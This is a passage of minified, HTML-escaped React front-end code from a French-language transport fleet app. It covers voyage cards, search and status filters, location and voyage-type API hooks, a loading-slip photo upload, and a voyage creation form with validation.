object-cover&quot;,onError:h=&gt;{h.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-4xl mb-2&quot;,children:&quot;🚚&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Pas de photo&quot;})]})}),n&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:n.immatriculation})}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10 flex flex-col gap-1.5 items-end&quot;,children:[e.isArchived&amp;&amp;a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs px-2 py-1 border shadow-md bg-gray-500/10 text-gray-700 dark:text-gray-400 border-gray-300&quot;,children:&quot;Archivé&quot;}),a.jsx(yt,{className:`text-xs px-2 py-1 border shadow-md ${eO[e.status]||eO.planned}`,children:z$e[e.status]||e.status}),r&amp;&amp;a.jsxs(yt,{variant:&quot;destructive&quot;,className:&quot;text-xs px-2 py-1 border shadow-md flex items-center gap-1&quot;,children:[a.jsx(uv,{className:&quot;h-3 w-3&quot;}),&quot;Panne&quot;]})]}),i&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute bottom-2 left-2 z-10&quot;,children:a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border flex items-center gap-1&quot;,children:[a.jsx(il,{className:&quot;h-3 w-3&quot;}),&quot;Remorque attelée&quot;]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;p-4 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-base mb-1 line-clamp-1&quot;,&quot;data-testid&quot;:`text-title-${e.id}`,children:e.title}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground font-mono&quot;,&quot;data-testid&quot;:`text-code-${e.id}`,children:e.code}),e.currentHeadsign||e.headsignOutbound?a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs mt-1.5&quot;,children:[&quot;Direction: &quot;,e.currentHeadsign||e.headsignOutbound||&quot;-&quot;]}):null]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Client&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,&quot;data-testid&quot;:`text-client-${e.id}`,children:e.clientName}),e.clientReference&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-0.5&quot;,children:[&quot;Ref: &quot;,e.clientReference]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-2&quot;,children:&quot;Itinéraire&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5 flex-1 min-w-0&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-primary flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{className:&quot;truncate&quot;,&quot;data-testid&quot;:`text-loading-${e.id}`,children:e.loadingSite})]}),a.jsx(ov,{className:&quot;h-4 w-4 text-muted-foreground flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5 flex-1 min-w-0&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-primary flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{className:&quot;truncate&quot;,&quot;data-testid&quot;:`text-unloading-${e.id}`,children:e.unloadingSite})]})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Chargement&quot;}),a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:[a.jsx(il,{className:&quot;h-3 w-3 mr-1&quot;}),e.loadingType]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between pt-2 border-t text-xs text-muted-foreground&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[s&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(nh,{className:&quot;h-3 w-3&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;truncate max-w-[100px]&quot;,children:[s.prenom,&quot; &quot;,s.nom]})]}),o&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(Fa,{className:&quot;h-3 w-3&quot;}),a.jsxs(&quot;span&quot;,{children:[o,&quot; trajet&quot;,o&gt;1?&quot;s&quot;:&quot;&quot;]})]})]}),(d||u)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),d&amp;&amp;a.jsx(&quot;span&quot;,{children:d}),d&amp;&amp;u&amp;&amp;a.jsx(&quot;span&quot;,{children:&quot;-&quot;}),u&amp;&amp;a.jsx(&quot;span&quot;,{children:u})]})]})]})]})})}function H$e(){const[,e]=Gi(),[t,r]=I.useState(&quot;&quot;),[n,i]=I.useState(&quot;all&quot;),s=n===&quot;all&quot;?void 0:n,{data:o=[],isLoading:l}=Vw(s),{data:c=[],isLoading:d}=cr({queryKey:[&quot;/api/breakdowns&quot;],queryFn:()=&gt;T8()}),u=I.useMemo(()=&gt;new Set(c.map(v=&gt;v.vehicleId)),[c]),h=I.useMemo(()=&gt;new Set(o.filter(v=&gt;v.vehicle&amp;&amp;u.has(v.vehicle.id)).map(v=&gt;v.id)),[o,u]),p=l||d,A=o.filter(v=&gt;{if(!t)return!0;const w=t.toLowerCase(),j=v.title?.toLowerCase().includes(w),E=v.code?.toLowerCase().includes(w),S=v.clientName?.toLowerCase().includes(w),_=v.clientReference?.toLowerCase().includes(w),C=v.vehicle?.immatriculation.toLowerCase().includes(w),Q=v.loadingType?.toLowerCase().includes(w),R=v.loadingSite?.toLowerCase().includes(w),T=v.unloadingSite?.toLowerCase().includes(w);return j||E||S||_||C||Q||R||T}),y=v=&gt;{e(`/voyages/${v}`)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-xl md:text-2xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Voyages&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez vos voyages et leurs trajets associés&quot;})]}),a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-voyage&quot;,className:&quot;w-full md:w-auto&quot;,onClick:()=&gt;e(&quot;/voyages/new&quot;),children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Créer un voyage&quot;]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-stretch md:items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher par titre, code, client, véhicule...&quot;,value:t,onChange:v=&gt;r(v.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]})}),p?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsxs(ul,{value:n,onValueChange:i,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{className:&quot;w-full grid grid-cols-5&quot;,children:[a.jsx(hn,{value:&quot;all&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Toutes&quot;}),a.jsx(hn,{value:&quot;planned&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Planifiées&quot;}),a.jsx(hn,{value:&quot;in_progress&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;En cours&quot;}),a.jsx(hn,{value:&quot;completed&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Terminées&quot;}),a.jsx(hn,{value:&quot;cancelled&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Annulées&quot;})]}),a.jsx(dn,{value:n,className:&quot;mt-0&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:A.map(v=&gt;a.jsx($$e,{voyage:v,onClick:y,hasBreakdown:h.has(v.id)},v.id))})})]}),A.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:t?&quot;Aucun voyage ne correspond à votre recherche&quot;:&quot;Aucun voyage trouvé&quot;})})]}),a.jsx(np,{onClick:()=&gt;e(&quot;/voyages/new&quot;),label:&quot;Créer un voyage&quot;})]})}async function q$e(e=!1){return await $t(`/api/voyage-types${e?&quot;?active=true&quot;:&quot;&quot;}`)}async function _A(e){return await $t(`/api/voyage-types/${e}`)}async function G$e(e){return await $t(&quot;/api/voyage-types&quot;,{method:&quot;POST&quot;,body:e})}async function y6(e,t){return await $t(`/api/voyage-types/${e}`,{method:&quot;PATCH&quot;,body:t})}async function V$e(e){await $t(`/api/voyage-types/${e}`,{method:&quot;DELETE&quot;})}async function W$e(e,t){return await $t(`/api/voyage-types/${e}/steps/reorder`,{method:&quot;POST&quot;,body:{stepIds:t}})}function D_(e=!1){return cr({queryKey:[&quot;/api/voyage-types&quot;,e],queryFn:()=&gt;q$e(e),retry:1,retryDelay:1e3,staleTime:300*1e3})}function K$e(){const{toast:e}=Er();return _r({mutationFn:t=&gt;G$e(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le type de voyage a été créé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de créer le type de voyage&quot;})}})}function Y$e(){const{toast:e}=Er();return _r({mutationFn:({id:t,data:r})=&gt;y6(t,r),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le type de voyage a été mis à jour avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de mettre à jour le type de voyage&quot;})}})}function Z$e(){const{toast:e}=Er();return _r({mutationFn:t=&gt;V$e(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le type de voyage a été supprimé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer le type de voyage&quot;})}})}async function J$e(e=!1){return await $t(`/api/locations${e?&quot;?active=true&quot;:&quot;&quot;}`)}async function X$e(e){return await $t(&quot;/api/locations&quot;,{method:&quot;POST&quot;,body:e})}async function eHe(e,t){return await $t(`/api/locations/${e}`,{method:&quot;PATCH&quot;,body:t})}async function tHe(e){await $t(`/api/locations/${e}`,{method:&quot;DELETE&quot;})}function OC(e=!1){return cr({queryKey:[&quot;/api/locations&quot;,e],queryFn:()=&gt;J$e(e)})}function rHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;X$e(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/locations&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le lieu a été créé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de créer le lieu&quot;})}})}function nHe(){const{toast:e}=Er();return _r({mutationFn:({id:t,data:r})=&gt;eHe(t,r),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/locations&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le lieu a été mis à jour avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de mettre à jour le lieu&quot;})}})}function iHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;tHe(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/locations&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le lieu a été supprimé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer le lieu&quot;})}})}function xne({voyageTypes:e,selectedId:t,onSelect:r,isLoading:n=!1}){return n?a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3&quot;,children:[1,2,3].map(i=&gt;a.jsx(it,{className:&quot;p-4 animate-pulse&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-20 bg-muted rounded&quot;})},i))}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3&quot;,children:e.map(i=&gt;{const s=t===i.id;return a.jsx(it,{className:`p-4 cursor-pointer transition-all hover:shadow-md ${s?&quot;border-2 border-primary bg-primary/5 shadow-md&quot;:&quot;border hover:border-primary/50&quot;}`,onClick:()=&gt;r(s?null:i),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-base truncate&quot;,children:i.name}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap gap-1 mt-2&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:i.loadingType}),i.defaultClientName&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:i.defaultClientName})]})]}),s&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 text-primary text-xl&quot;,children:&quot;✓&quot;})]})},i.id)})}),a.jsx(it,{className:`p-4 cursor-pointer transition-all hover:shadow-md ${t===null?&quot;border-2 border-primary bg-primary/5 shadow-md&quot;:&quot;border hover:border-primary/50&quot;}`,onClick:()=&gt;r(null),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Voyage personnalisé&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:&quot;Créer un voyage avec des paramètres personnalisés&quot;})]}),t===null&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 text-primary text-xl&quot;,children:&quot;✓&quot;})]})})]})}const tO={factory:&quot;🏭&quot;,port:&quot;⚓&quot;,border:&quot;🚧&quot;,warehouse:&quot;🏢&quot;,city:&quot;🏙️&quot;},rO={factory:&quot;Usine&quot;,port:&quot;Port&quot;,border:&quot;Frontière&quot;,warehouse:&quot;Entrepôt&quot;,city:&quot;Ville&quot;};function i4({locations:e,selectedId:t,onSelect:r,isLoading:n=!1,label:i=&quot;Sélectionner un lieu&quot;,placeholder:s=&quot;Rechercher un lieu...&quot;}){const[o,l]=I.useState(&quot;&quot;),[c,d]=I.useState(null),u=I.useMemo(()=&gt;e.filter(p=&gt;{const A=o===&quot;&quot;||p.name.toLowerCase().includes(o.toLowerCase())||p.country?.toLowerCase().includes(o.toLowerCase()),y=!c||p.type===c;return A&amp;&amp;y}),[e,o,c]),h=I.useMemo(()=&gt;{const p=new Set(e.map(A=&gt;A.type));return Array.from(p)},[e]);return n?a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-10 bg-muted rounded animate-pulse&quot;}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3&quot;,children:[1,2,3,4].map(p=&gt;a.jsx(it,{className:&quot;p-4 animate-pulse&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-20 bg-muted rounded&quot;})},p))})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Xe,{placeholder:s,value:o,onChange:p=&gt;l(p.target.value),className:&quot;w-full&quot;}),h.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;d(null),className:`px-3 py-1 text-sm rounded-full border transition-colors ${c===null?&quot;bg-primary text-primary-foreground border-primary&quot;:&quot;bg-background hover:bg-accent&quot;}`,children:&quot;Tous&quot;}),h.map(p=&gt;a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;d(p),className:`px-3 py-1 text-sm rounded-full border transition-colors flex items-center gap-1 ${c===p?&quot;bg-primary text-primary-foreground border-primary&quot;:&quot;bg-background hover:bg-accent&quot;}`,children:[a.jsx(&quot;span&quot;,{children:tO[p]||&quot;📍&quot;}),a.jsx(&quot;span&quot;,{children:rO[p]||p})]},p))]})]}),u.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun lieu trouvé&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto&quot;,children:u.map(p=&gt;{const A=t===p.id;return a.jsx(it,{className:`p-3 cursor-pointer transition-all hover:shadow-md ${A?&quot;border-2 border-primary bg-primary/5 shadow-md&quot;:&quot;border hover:border-primary/50&quot;}`,onClick:()=&gt;r(A?null:p),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-2xl flex-shrink-0&quot;,children:tO[p.type]||&quot;📍&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:p.name}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:rO[p.type]||p.type}),p.country&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:p.country})]})]}),A&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 text-primary text-lg&quot;,children:&quot;✓&quot;})]})},p.id)})})]})}function vne({value:e,onChange:t,label:r=&quot;Nombre de tours&quot;}){const[n,i]=I.useState(&quot;&quot;),[s,o]=I.useState(!1);I.useEffect(()=&gt;{e&amp;&amp;![1,2,3,4].includes(e)&amp;&amp;(o(!0),i(e.toString()))},[e]);const l=d=&gt;{o(!1),i(&quot;&quot;),t(d)},c=d=&gt;{const u=d.target.value;i(u);const h=parseInt(u,10);!isNaN(h)&amp;&amp;h&gt;0?t(h):u===&quot;&quot;&amp;&amp;t(1)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:r}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;1 tour = un aller + un retour&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:[[1,2,3,4].map(d=&gt;a.jsx(ge,{type:&quot;button&quot;,variant:e===d?&quot;default&quot;:&quot;outline&quot;,size:&quot;lg&quot;,className:`min-w-[60px] ${e===d?&quot;bg-primary text-primary-foreground&quot;:&quot;&quot;}`,onClick:()=&gt;l(d),children:d},d)),a.jsx(ge,{type:&quot;button&quot;,variant:s?&quot;default&quot;:&quot;outline&quot;,size:&quot;lg&quot;,className:`min-w-[80px] ${s?&quot;bg-primary text-primary-foreground&quot;:&quot;&quot;}`,onClick:()=&gt;{o(!0),n||i(e.toString())},children:&quot;Autre&quot;})]}),s&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;custom-tours&quot;,className:&quot;text-sm&quot;,children:&quot;Nombre de tours personnalisé&quot;}),a.jsx(Xe,{id:&quot;custom-tours&quot;,type:&quot;number&quot;,min:&quot;1&quot;,value:n,onChange:c,placeholder:&quot;Entrez le nombre de tours&quot;,className:&quot;w-full max-w-xs&quot;})]})]})}function yne({imageUrl:e,onImageChange:t,isLoading:r=!1}){const[n,i]=I.useState(!1),[s,o]=I.useState(!1),l=I.useRef(null),c=I.useRef(null),{toast:d}=Er(),u=async y=&gt;{if(y){if(!y.type.startsWith(&quot;image/&quot;)){alert(&quot;Veuillez sélectionner une image&quot;);return}if(y.size&gt;5*1024*1024){alert(&quot;L&#039;image est trop grande (maximum 5MB)&quot;);return}o(!0);try{const v=await Hm(y,{preset:&quot;pod&quot;}),w=((1-v.optimizedSize/v.originalSize)*100).toFixed(0);v.originalSize&gt;v.optimizedSize&amp;&amp;d({title:&quot;Image optimisée&quot;,description:`${ol(v.originalSize)} → ${ol(v.optimizedSize)} (-${w}%)`,duration:3e3}),i(!0);const j=await gne(v.file);t(j.url)}catch(v){console.error(&quot;Error uploading photo:&quot;,v),d({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:v instanceof Error?v.message:&quot;Erreur lors de l&#039;upload de la photo&quot;})}finally{o(!1),i(!1)}}},h=()=&gt;{c.current?.click()},p=()=&gt;{l.current?.click()},A=()=&gt;{t(null),l.current&amp;&amp;(l.current.value=&quot;&quot;),c.current&amp;&amp;(c.current.value=&quot;&quot;)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Photo du bon de chargement&quot;}),e?a.jsxs(it,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:e,alt:&quot;Bon de chargement&quot;,className:&quot;w-full h-auto max-h-64 object-contain rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:A,disabled:n||r||s,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-2 text-center&quot;,children:&quot;Cliquez sur la croix pour supprimer la photo&quot;})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col sm:flex-row gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:h,disabled:n||r||s,className:&quot;flex-1&quot;,children:[n||s?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prendre une photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:p,disabled:n||r||s,className:&quot;flex-1&quot;,children:[n||s?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(Nm,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Importer depuis la galerie&quot;]})]}),a.jsx(&quot;input&quot;,{ref:c,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,className:&quot;hidden&quot;,onChange:y=&gt;u(y.target.files?.[0]||null)}),a.jsx(&quot;input&quot;,{ref:l,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:y=&gt;u(y.target.files?.[0]||null)})]})]})}const nO={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function aHe(){const[,e]=Gi(),{toast:t}=Er(),r=MPe(),n=$Pe(),[i,s]=I.useState({voyageTypeId:null,vehicleId:null,trailerId:null,mainDriverId:null,additionalCrewIds:[],title:&quot;&quot;,description:&quot;&quot;,clientName:&quot;&quot;,clientReference:&quot;&quot;,loadingSite:&quot;&quot;,unloadingSite:&quot;&quot;,loadingLocationId:null,unloadingLocationId:null,loadingType:&quot;&quot;,loadingOrderNumber:&quot;&quot;,loadingOrderDate:&quot;&quot;,loadingBonImageUrl:null,expectedTours:1,plannedStartAt:&quot;&quot;,status:&quot;planned&quot;,createTripsNow:!0,tripMode:&quot;round_trip&quot;}),{data:o=[],isLoading:l}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:c=[],isLoading:d}=cr({queryKey:[&quot;/api/trailers&quot;]}),{data:u=[],isLoading:h}=cr({queryKey:[&quot;/api/crew-members&quot;]}),{data:p=[],isLoading:A}=D_(!0),{data:y=[],isLoading:v}=OC(!0),{data:w,isLoading:j}=k_(i.vehicleId),E=p.find(q=&gt;q.id===i.voyageTypeId)||null,S=I.useRef(null),_=I.useRef(!1);I.useEffect(()=&gt;{if(p.length&gt;0&amp;&amp;i.voyageTypeId===null&amp;&amp;!A&amp;&amp;!_.current){const q=p[0];q&amp;&amp;(_.current=!0,s(ee=&gt;({...ee,voyageTypeId:q.id})))}},[p,A,i.voyageTypeId]);const C=o.find(q=&gt;q.id===i.vehicleId)||null,R=c.find(q=&gt;q.id===i.trailerId)||null||w?.trailer||null,T=I.useMemo(()=&gt;[...o].sort((q,ee)=&gt;0),[o]),M=I.useMemo(()=&gt;u.filter(q=&gt;q.role===&quot;chauffeur&quot;),[u]),O=I.useMemo(()=&gt;u.filter(q=&gt;q.role===&quot;apprenti&quot;),[u]);I.useEffect(()=&gt;{w?.trailer?.id&amp;&amp;!i.trailerId&amp;&amp;s(q=&gt;({...q,trailerId:w.trailer.id}))},[w,i.trailerId]),I.useEffect(()=&gt;{!w||!i.vehicleId||j||s(q=&gt;{let ee={...q},ne=!1;w.chauffeur?.id&amp;&amp;!q.mainDriverId&amp;&amp;(ee.mainDriverId=w.chauffeur.id,ne=!0);const V=w.apprentis;if(V&amp;&amp;Array.isArray(V)&amp;&amp;V.length&gt;0){const ue=V.map(de=&gt;de?.id).filter(de=&gt;de!=null);if(ue.length&gt;0){const de=q.additionalCrewIds,xe=ue.filter(_e=&gt;!de.includes(_e));xe.length&gt;0&amp;&amp;(ee.additionalCrewIds=[...de,...xe],ne=!0)}}return ne?ee:q})},[w,i.vehicleId,j]),I.useEffect(()=&gt;{E&amp;&amp;i.voyageTypeId&amp;&amp;i.voyageTypeId!==S.current&amp;&amp;!v&amp;&amp;y.length&gt;=0&amp;&amp;(S.current=i.voyageTypeId,s(q=&gt;{const ee={};if(ee.title=E.name,ee.loadingType=E.loadingType,E.defaultClientName&amp;&amp;(ee.clientName=E.defaultClientName),E.defaultLoadingLocationId){ee.loadingLocationId=E.defaultLoadingLocationId;const ne=y.find(V=&gt;V.id===E.defaultLoadingLocationId);ne&amp;&amp;(ee.loadingSite=ne.name)}if(E.defaultUnloadingLocationId){ee.unloadingLocationId=E.defaultUnloadingLocationId;const ne=y.find(V=&gt;V.id===E.defaultUnloadingLocationId);ne&amp;&amp;(ee.unloadingSite=ne.name)}return E.expectedToursDefault&amp;&amp;(ee.expectedTours=E.expectedToursDefault),{...q,...ee}})),i.voyageTypeId||(S.current=null)},[i.voyageTypeId,E,y,v]);const $=q=&gt;{s(ee=&gt;({...ee,vehicleId:q,trailerId:null}))},P=q=&gt;{s(ee=&gt;({...ee,trailerId:q}))},L=q=&gt;{s(ee=&gt;({...ee,mainDriverId:q}))},X=q=&gt;{s(ee=&gt;{const ne=ee.additionalCrewIds.includes(q);return{...ee,additionalCrewIds:ne?ee.additionalCrewIds.filter(V=&gt;V!==q):[...ee.additionalCrewIds,q]}})},W=async q=&gt;{if(q.preventDefault(),!J){if(!i.vehicleId){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un véhicule&quot;});return}if(!i.title.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le titre du voyage est obligatoire&quot;});return}if(!i.clientName.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le nom du client est obligatoire&quot;});return}if(!i.loadingLocationId&amp;&amp;!i.loadingSite.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le lieu de chargement est obligatoire&quot;});return}if(!i.unloadingLocationId&amp;&amp;!i.unloadingSite.trim()){t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le lieu de déchargement est 